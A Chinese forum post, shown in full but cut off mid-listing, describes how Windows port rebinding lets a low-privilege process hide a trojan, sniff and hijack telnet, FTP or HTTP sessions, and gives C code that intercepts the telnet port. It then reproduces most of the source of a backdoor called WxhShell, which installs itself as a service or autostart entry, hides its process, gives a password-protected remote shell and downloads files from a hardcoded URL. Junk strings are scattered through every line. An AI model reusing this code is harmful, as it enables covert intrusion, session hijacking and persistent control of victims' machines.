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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x(c+~4:_M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J`g5Qn @S  
xOkduk]  
  saddr.sin_family = AF_INET; D5"5`w=C  
NVzo)C8kb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :'DX M{  
rQv5uoD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (^yaAy#4  
[P}Bq6;p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 RxP~%oADw  
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  这意味着什么?意味着可以进行如下的攻击: d- ZUuw  
Lv+{@)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 45biy(qa  
X1w11Z7o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $z!G%PO1%  
HD<$0M|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n1\$|[^6  
"I56l2dxd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }8^qb5+!3  
&l cfX\y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |6So$;`  
| >}CoR7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ztU"CRa8  
qX}3}TL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bB4FjC':  
2>jk@~Z1:u  
  #include +xuv+mo  
  #include X&[Zk5DU*  
  #include KaEaJ  
  #include    kO)Y|zQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0=,Nz  
  int main() X !h>13fW  
  { !$98 U~L  
  WORD wVersionRequested; { {?-& yA  
  DWORD ret; w!UF^~  
  WSADATA wsaData; !=S?*E +j)  
  BOOL val; o"Xv)#g&  
  SOCKADDR_IN saddr; `NhG|g  
  SOCKADDR_IN scaddr; tHzgZo Bz  
  int err; 0$Tb5+H5  
  SOCKET s; v,n 8$,  
  SOCKET sc; :G6CWE  
  int caddsize; Fepsa;\sU  
  HANDLE mt; ksq4t  
  DWORD tid;   n\;;T1rM  
  wVersionRequested = MAKEWORD( 2, 2 ); XrUI [ryE  
  err = WSAStartup( wVersionRequested, &wsaData ); .?:#<=1  
  if ( err != 0 ) { Q>L(=j2t  
  printf("error!WSAStartup failed!\n"); 9ug4p']  
  return -1; hV $Zr4'  
  } ";dS~(~  
  saddr.sin_family = AF_INET; IS" [<  
   XR]bd  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;):;H?WS|A  
&wDZ@{h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <e! TF @  
  saddr.sin_port = htons(23); KxErWP%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8$c) ]Bv  
  { 9O &]!ga  
  printf("error!socket failed!\n"); p7AsNqEp  
  return -1; KsGW@Ho:  
  } 9'(^ Coq  
  val = TRUE; In4VS:dD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7zzFM  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %KF I~Qk  
  { 'g <"@SS+  
  printf("error!setsockopt failed!\n"); pIR_2Eq  
  return -1; n-K/d I  
  } !>'A2V~F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;8=Bee4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <LZ#A@]71  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "~ =O`5V  
S? Cd,WxT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m>Z3p7!N}  
  { O-.G("  
  ret=GetLastError(); )09ltr0@"  
  printf("error!bind failed!\n"); !L +b{  
  return -1; ~_0XG0oA  
  } 2iKteJ@h)  
  listen(s,2); E6R\ DM  
  while(1) MMO/vJC  
  { WUau KRR.  
  caddsize = sizeof(scaddr); %>/&&(BE  
  //接受连接请求 xj D$i'V+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K:e[#b8 :R  
  if(sc!=INVALID_SOCKET) [.Fm-$M-  
  { s Y4w dG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p%iZ6H>G  
  if(mt==NULL) tVf):}<h  
  { Vk`Uz1*  
  printf("Thread Creat Failed!\n"); 'uzHI@i  
  break; Eve,*ATI  
  } yOD=Vc7i  
  } zA?AX1%Wa  
  CloseHandle(mt); 3u t<o-  
  } ^f N/  
  closesocket(s); ?*UWg[  
  WSACleanup();  R`o Xkj  
  return 0; @ o<O I  
  }   [g`4$_9S  
  DWORD WINAPI ClientThread(LPVOID lpParam) %<+Ku11  
  { oR%cG"y  
  SOCKET ss = (SOCKET)lpParam; HoX={^aG%  
  SOCKET sc; S -,$ (  
  unsigned char buf[4096]; f/z]kfgw  
  SOCKADDR_IN saddr; >mtwXmI  
  long num; Zqf ovG  
  DWORD val; F<iV;+  
  DWORD ret; N`d%4)|{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 14l6|a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    ngJ{az  
  saddr.sin_family = AF_INET; t%,:L.?J#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p<pGqW  
  saddr.sin_port = htons(23); bz 7?F!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1}Guhayy  
  { GB Vqc!d  
  printf("error!socket failed!\n"); 3 QXsr<  
  return -1; a; a1>1  
  } }s"].Xm^2  
  val = 100; R4b!?}d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *Cp:<M nd  
  { DGTE#?'(  
  ret = GetLastError(); QxbG-B^)=  
  return -1; x8c>2w;6x^  
  } toU<InN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EqBTN07dZS  
  { YnU*MC}  
  ret = GetLastError(); <3ep5`1   
  return -1; I d8MXdV  
  } sSk qU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k|RY; 8_  
  { }Q9+krrow  
  printf("error!socket connect failed!\n"); 7wY0JS$fz  
  closesocket(sc); rmC7!^/  
  closesocket(ss); Rxr?T-  
  return -1; eu]qgtg~U  
  } 4Wvefq"  
  while(1) oV9{{  
  { [_ uT+q3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GbQg(%2F  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0dsL%G~/N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RH7!3ye  
  num = recv(ss,buf,4096,0); zFDtC-GF  
  if(num>0) RZVZ#q(DU  
  send(sc,buf,num,0); <e S+3,  
  else if(num==0) OXl0R{4  
  break; *aFh*-Sj2I  
  num = recv(sc,buf,4096,0); (["V( $  
  if(num>0) S|KUh|=Q  
  send(ss,buf,num,0); U|QP] 6v  
  else if(num==0) q-@&n6PEOZ  
  break; p Djt\R<f  
  } y\CxdTs  
  closesocket(ss); -s)h ?D  
  closesocket(sc); Gr}NgyT<!D  
  return 0 ; B+jh|@-  
  } 8$RiFD ,  
0"GLgj:9  
$Fi1Bv)  
========================================================== +BhJske  
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下边附上一个代码,,WXhSHELL <gFisc/#r  
&Cm]*$?  
========================================================== L&=r-\.ev  
u(hJyo}  
#include "stdafx.h" 1`s^r+11:  
6Z=Qs=q  
#include <stdio.h> e_l|32#/  
#include <string.h> 7hLh}  
#include <windows.h> >o3R~ [  
#include <winsock2.h> 4MzPm~Ct  
#include <winsvc.h> }}rp/16  
#include <urlmon.h> j0Cj&x%qF}  
tv~Y5e&8  
#pragma comment (lib, "Ws2_32.lib") oxUBlye  
#pragma comment (lib, "urlmon.lib") py%~Qz%  
'R- g:X\{  
#define MAX_USER   100 // 最大客户端连接数 f `}/^*D  
#define BUF_SOCK   200 // sock buffer amX1idHo^  
#define KEY_BUFF   255 // 输入 buffer 1D!MXYgm1b  
WjSu4   
#define REBOOT     0   // 重启 ?'H+u[1.  
#define SHUTDOWN   1   // 关机 cf ^i!X0  
&v;o }Q}E{  
#define DEF_PORT   5000 // 监听端口 W4P+?c>'2  
^ rUq{  
#define REG_LEN     16   // 注册表键长度 J,=ZUh@M  
#define SVC_LEN     80   // NT服务名长度 1U^KN~!  
0S&J=2D!  
// 从dll定义API mfffOG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E.0J94>iM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `|v/qk7 ^?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0V86]zSo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _I3v"d  
(u='&ka  
// wxhshell配置信息 /?b{*<TK  
struct WSCFG { o=Mm=;H  
  int ws_port;         // 监听端口 D dCcsYm,  
  char ws_passstr[REG_LEN]; // 口令 'n\PS,[1R  
  int ws_autoins;       // 安装标记, 1=yes 0=no oSjYp(h:  
  char ws_regname[REG_LEN]; // 注册表键名 0ZLLbEfnPB  
  char ws_svcname[REG_LEN]; // 服务名 4pelIoj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u]`0QxvZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |QR9#Iv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]Wjcr2Wq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Bga4kjfmk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L.JL4;U P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \D]9:BNJ  
vSv1FZu*  
}; >Y+m54EE  
gNDMJ^`  
// default Wxhshell configuration L8Z@Dk7Y  
struct WSCFG wscfg={DEF_PORT, p-w:l*-`  
    "xuhuanlingzhe", yOAC<<Tzus  
    1, jT F "  
    "Wxhshell", nZ#u#V  
    "Wxhshell", 3Z` wU  
            "WxhShell Service", voTP,R[}85  
    "Wrsky Windows CmdShell Service", [f[Wz{Q#Y  
    "Please Input Your Password: ", !"-.D4*r  
  1, iTT%_-X-  
  "http://www.wrsky.com/wxhshell.exe", %""h:1/S  
  "Wxhshell.exe" Gxxz4    
    }; B(} 'yY@%u  
vM$hCV ~N  
// 消息定义模块 {^:NII]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EQw7(r|v:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Di}M\!-[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :qAX9T'{t  
char *msg_ws_ext="\n\rExit."; SXvflr] =m  
char *msg_ws_end="\n\rQuit."; -XK;B--c  
char *msg_ws_boot="\n\rReboot..."; ( plT/0=^t  
char *msg_ws_poff="\n\rShutdown..."; EAxdF u  
char *msg_ws_down="\n\rSave to "; WB<MU:.Vc  
gf9U<J#&C  
char *msg_ws_err="\n\rErr!"; S;D]ym  
char *msg_ws_ok="\n\rOK!"; ro3%VA=V  
-xN/H,xok  
char ExeFile[MAX_PATH]; nG{o$v_|  
int nUser = 0; 5~im.XfiVx  
HANDLE handles[MAX_USER]; Q00v(6V46  
int OsIsNt; :(" @U,  
sX*L[3!vN  
SERVICE_STATUS       serviceStatus; 8|L@-F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pjoyMHWK  
,w9| ?%S  
// 函数声明 DO+~    
int Install(void); x'OP0],#  
int Uninstall(void); * {~`Lw)y  
int DownloadFile(char *sURL, SOCKET wsh); C+%eT&OO  
int Boot(int flag); [?qzMFb  
void HideProc(void); [kckE-y  
int GetOsVer(void); `R7dn/  
int Wxhshell(SOCKET wsl); X?&{< vz  
void TalkWithClient(void *cs); _6`GHx   
int CmdShell(SOCKET sock); Qe4 % A  
int StartFromService(void); X%N!gy  
int StartWxhshell(LPSTR lpCmdLine); v"mZy,u  
&5z9C=]e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s16, *;Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H8HVmfM  
?U O aqcL  
// 数据结构和表定义 /`nkz  
SERVICE_TABLE_ENTRY DispatchTable[] = ]s E)-8  
{ piuM#+Y\'S  
{wscfg.ws_svcname, NTServiceMain}, H!OX1F  
{NULL, NULL} & BY\h:  
}; %4V$')rek  
kt\,$.v8  
// 自我安装 EA9.?F  
int Install(void) Oo FMOlb.Z  
{ T}29(xz-(h  
  char svExeFile[MAX_PATH]; XZ3fWcw[  
  HKEY key; 6%:~.ZfN  
  strcpy(svExeFile,ExeFile); 'Nuy/\[{\  
P{:Zxli0  
// 如果是win9x系统,修改注册表设为自启动 w:iMrQeJg  
if(!OsIsNt) { ,=c(P9}^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q>9bKP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]\oT({$6B  
  RegCloseKey(key); 1;i|GXY:h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G -K{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^;9l3P{  
  RegCloseKey(key); ur=:Ha  
  return 0; mW+5I-~  
    } }[drR(]`dO  
  } $/5\Hg1  
} 4<)*a]\c5M  
else { Z#(Y%6[u  
i "X" -)#  
// 如果是NT以上系统,安装为系统服务 v}D0t]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *QI Yq  
if (schSCManager!=0) w Jp1Fl~  
{ b!Nr  
  SC_HANDLE schService = CreateService a~LdcUYs  
  (  ST~YO  
  schSCManager, RP[`\  
  wscfg.ws_svcname, eH!V%dX  
  wscfg.ws_svcdisp, m,62'  
  SERVICE_ALL_ACCESS, 6A|XB3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yGrnzB6|  
  SERVICE_AUTO_START, quC$<Y  
  SERVICE_ERROR_NORMAL, 1@|%{c&+9  
  svExeFile, ?*r%*CL  
  NULL, ZU `~@.`i  
  NULL, BYHyqpP9  
  NULL, 4GeN<9~YS  
  NULL, t%5bDdo  
  NULL [e@m -/B  
  ); &(l.jgqg&  
  if (schService!=0) in,0(I&I  
  { ,Shzew+  
  CloseServiceHandle(schService); wq!9wk9  
  CloseServiceHandle(schSCManager); $sg-P|Wo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tX@y ]"  
  strcat(svExeFile,wscfg.ws_svcname); _T~&kwe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MU2kA&LH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PYs0w6o  
  RegCloseKey(key); 0dS(g&ZR  
  return 0; A-_M=\  
    } T /IX(b'<  
  } H"k\(SPVS  
  CloseServiceHandle(schSCManager); Nq\)o{<1  
} `.3.n8V  
} &y|PseH"  
O;McPw<&\:  
return 1; 2@pEiq3  
} E_[a|N"D  
z8%qCq  
// 自我卸载 zSk`Ou8M  
int Uninstall(void) * a1q M?  
{ `k8jFB C  
  HKEY key; BD}%RTeWKq  
x?u@ j7[  
if(!OsIsNt) { S?a4 IK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iC^91!<  
  RegDeleteValue(key,wscfg.ws_regname); ZGI<L  
  RegCloseKey(key); ?p 4iXHE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V>E7!LIn.  
  RegDeleteValue(key,wscfg.ws_regname); c&wiTvRV  
  RegCloseKey(key); &`vThs[x  
  return 0; kTT%< e  
  } #.fJ M:"tG  
} !+z^VcV  
} #Cy3x-!  
else { LjW32>B  
+|8.ymvm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,L~aa?Nb-  
if (schSCManager!=0) 8y_(Iu|:  
{ r|\{!;7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -e_TJA  
  if (schService!=0) =5fY3%^b{  
  { 7IkEud  
  if(DeleteService(schService)!=0) { ht>/7.p]  
  CloseServiceHandle(schService); x>BFK@#  
  CloseServiceHandle(schSCManager); ;#IrHR*Bk  
  return 0; K7(k_4  
  } Jg{K!P|i  
  CloseServiceHandle(schService); Y"KJ`Rx  
  } &b*v7c=o  
  CloseServiceHandle(schSCManager); 4${3e Sg_  
} _5(p=Zc  
} "$K]+0ryG<  
Z1+Ewq3m  
return 1; O{7#Xj :_  
} !TY0;is  
*b 0z/ 6  
// 从指定url下载文件 z j#<X  
int DownloadFile(char *sURL, SOCKET wsh) S Te8*=w  
{ u;1[_~  
  HRESULT hr; _1Ne+"V  
char seps[]= "/"; M2d&7>N  
char *token; qTwl\dcncC  
char *file; i[FYR;C  
char myURL[MAX_PATH]; tSoF!@6  
char myFILE[MAX_PATH]; y:$qX*+9e  
t]]Ig  
strcpy(myURL,sURL); $^czqA-&  
  token=strtok(myURL,seps); ][V`ym-e  
  while(token!=NULL) 0c!^=(  
  { g+QIhur  
    file=token; `_ M+=*}  
  token=strtok(NULL,seps); 4oryTckS  
  } V6((5o#  
Knb(MI6  
GetCurrentDirectory(MAX_PATH,myFILE); 1{d;Ngx  
strcat(myFILE, "\\"); yI07E "9  
strcat(myFILE, file); Fn4yx~0  
  send(wsh,myFILE,strlen(myFILE),0); O:T 49:R}r  
send(wsh,"...",3,0); ya^8mp-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C\ Yf]J  
  if(hr==S_OK) >t'A1`W  
return 0; O&;d82IA{  
else K]M@t=  
return 1; /?XI,#j3kM  
\Zx&J.D  
} EL z5P}L6  
Ars*H,9>e  
// 系统电源模块 f2SJ4"X  
int Boot(int flag) 4@<wN \'  
{ xE!0p EHd  
  HANDLE hToken; 8@S]P0lk  
  TOKEN_PRIVILEGES tkp; ~=[5X,Ta  
U#iW1jPE2  
  if(OsIsNt) { ed_+bCNy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l7VTuVGUJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q{b-2k  
    tkp.PrivilegeCount = 1; Lr6C@pI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c{?SFwgd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2$!,$J-<Y  
if(flag==REBOOT) { es%py~m)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S<'_{uz  
  return 0; Q2woCx B  
} Lpkx$QZ  
else { #;@I.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a$^)~2U{  
  return 0; Pw7uxN`  
} P,WQN[(+  
  } <}8G1<QZ'.  
  else { S0:Oep   
if(flag==REBOOT) { k&f/f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]F>#0Rdc  
  return 0; CAom4 Sp'  
} {TJBB/B1  
else { `D=`xSEYl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UhkL=+PD  
  return 0; ?YV#  K  
} `T7TWv"M  
} `l.bU3C  
/0fsn_  
return 1; ;E.f%   
} n$7*L9)(C  
NW3qs`$-(  
// win9x进程隐藏模块 )flm3G2u  
void HideProc(void) \awkt!Wa  
{ -Q?c'e  
\QF0(*!!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D Y4!RjJ47  
  if ( hKernel != NULL ) Gx}`_[-  
  { zOFHdd ,"g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n|DMj[uT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T9]0/>  
    FreeLibrary(hKernel); x FM^-`7  
  } k4u/v n`&r  
qP##C&+#q  
return; J65:MaS  
} m8R=wb :  
j)YX=r;xM  
// 获取操作系统版本 S-~)|7d.  
int GetOsVer(void) y^nT G  
{ 1=,2i)  
  OSVERSIONINFO winfo; m}oR*<.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f/IQ2yT-:D  
  GetVersionEx(&winfo); GXQ%lQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JhTr{8{  
  return 1; |_7k*:#q:  
  else .7LQ l ?  
  return 0; d]^m^  
} 'wMvO{}$  
$o\z4_I  
// 客户端句柄模块 y&O?`"Uv/M  
int Wxhshell(SOCKET wsl) G{>PYLxOb  
{ IEP|j;~*  
  SOCKET wsh; ~jHuJ` ]DF  
  struct sockaddr_in client; Vky]In=  
  DWORD myID; mT UoFXX[  
&=n/h5e0t&  
  while(nUser<MAX_USER) %xQ'i4`  
{ 2e-bt@0t  
  int nSize=sizeof(client); <%m1+%mA.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p9u'nDi  
  if(wsh==INVALID_SOCKET) return 1; R4JfH  
ElDeXLr'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j&Xx{ 4v  
if(handles[nUser]==0) U:3O E97  
  closesocket(wsh); 33D2^ Sf6"  
else =mPe wx'  
  nUser++; )X|)X,~+-  
  } wF%RM$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fc<y(uX  
3"v>y]$U  
  return 0; w4}Q6_0v  
} K{`R`SXD  
lA1  
// 关闭 socket P 6La)U`VA  
void CloseIt(SOCKET wsh) xfI0P0+  
{ i4h`jFS  
closesocket(wsh); 9%NobT  
nUser--; IvY3iRq6  
ExitThread(0); AJ& j|/  
} -mh"["L"  
]$9y7Bhj.  
// 客户端请求句柄 Ml{ ]{n  
void TalkWithClient(void *cs) ?nbu`K6T  
{ 2fu<s^9dh  
:b %2qBv  
  SOCKET wsh=(SOCKET)cs; $0 vT_  
  char pwd[SVC_LEN]; xf,A<j (o  
  char cmd[KEY_BUFF]; Cc%{e9e*  
char chr[1]; uP r!;'J=  
int i,j; G `!A#As  
b6Z3(!] ]  
  while (nUser < MAX_USER) { |#< z\u }  
` V [4  
if(wscfg.ws_passstr) { C,$o+q*)W9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oA7DhU5n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2@ 9?~?r  
  //ZeroMemory(pwd,KEY_BUFF); G/(,,T}eG  
      i=0; %D:VcY9OC  
  while(i<SVC_LEN) { S$$SLy:P  
#Ktk["6  
  // 设置超时 L97 ~ma  
  fd_set FdRead; :3 Hz!iZM  
  struct timeval TimeOut; d4^x,hzV  
  FD_ZERO(&FdRead); Z}\,rex  
  FD_SET(wsh,&FdRead); 6S_mfWsi  
  TimeOut.tv_sec=8; 7qUg~GJX  
  TimeOut.tv_usec=0; rTVv6:L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZN;ondp4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ISFNP&& K  
w{xa@Q]t-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Eri007?D  
  pwd=chr[0]; $%"hhju  
  if(chr[0]==0xd || chr[0]==0xa) { N"G\ H<n  
  pwd=0; r6 3l(  
  break; fpC":EX@r  
  } k+P3z&e  
  i++; (hZNWQ0  
    } :):vB  
&oHr]=xA  
  // 如果是非法用户,关闭 socket +>*=~R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oQm XKV+[v  
} r nr-wUW@  
mTWd+mx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |nnFjGC`~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V V}"zc^  
f+s)A(?3  
while(1) { #V]8FW  
|gu@b~8  
  ZeroMemory(cmd,KEY_BUFF); _b-g^#L%  
Qb>("j~Z  
      // 自动支持客户端 telnet标准   c_+fA  
  j=0; 6fI2y4yEz  
  while(j<KEY_BUFF) { L?j<KW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _/}$X"4  
  cmd[j]=chr[0]; r*$f^T!|  
  if(chr[0]==0xa || chr[0]==0xd) { %k['<BYG<  
  cmd[j]=0; E#8|h(  
  break; '/ Hoq  
  } <a -a~  
  j++; (GL'm[V  
    } O-W[^r2e  
.JB1#&B +  
  // 下载文件 er-0i L@  
  if(strstr(cmd,"http://")) { Vjt7X"_/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tx9 %.)M:n  
  if(DownloadFile(cmd,wsh)) tKLeq(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MnF|'t  
  else ILH[q>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5EI"5&`*  
  } id : ^|  
  else { 0n`Temb/  
_xi &%F/  
    switch(cmd[0]) { j #P4&  
  OAW_c.)5D  
  // 帮助 047PlS  
  case '?': { Vn{;8hZ :a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M!!vr8}  
    break; !]A/ID0K  
  } &1^~G0 Rh\  
  // 安装 OGJrwl  
  case 'i': { +MaEet  
    if(Install()) qk3 ~]</  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .-& =\}^2l  
    else Et-|[ eL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jCNR63/  
    break; Nb_Glf  
    } t B`"gC~  
  // 卸载  f-[.^/  
  case 'r': { Ps\4k#aOv  
    if(Uninstall()) R_GA`U\ {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -X%t wy=  
    else N2[jBy8M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bDh4p]lm  
    break; C Q iHk  
    } UukY9n];]  
  // 显示 wxhshell 所在路径 noa+h<vGb  
  case 'p': { r1RM7y  
    char svExeFile[MAX_PATH]; vShB26b  
    strcpy(svExeFile,"\n\r"); Z"w}`&TC$^  
      strcat(svExeFile,ExeFile); 4h--x~ @  
        send(wsh,svExeFile,strlen(svExeFile),0); 04v ~ K  
    break; \vc&V8  
    } ~~k0&mK|Q  
  // 重启 s}` |!Vyl  
  case 'b': { !- QB>`7$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0k?]~ f  
    if(Boot(REBOOT)) Y`-q[F?\y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7zE1>.  
    else { m zoH$@  
    closesocket(wsh); =X[?d/[  
    ExitThread(0); Nr,I`x\N  
    } GtIAsC03  
    break; )y:))\>  
    } $J)`Ru6.  
  // 关机 !qlk-0&`  
  case 'd': { M3]eqxLC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bVN?7D(  
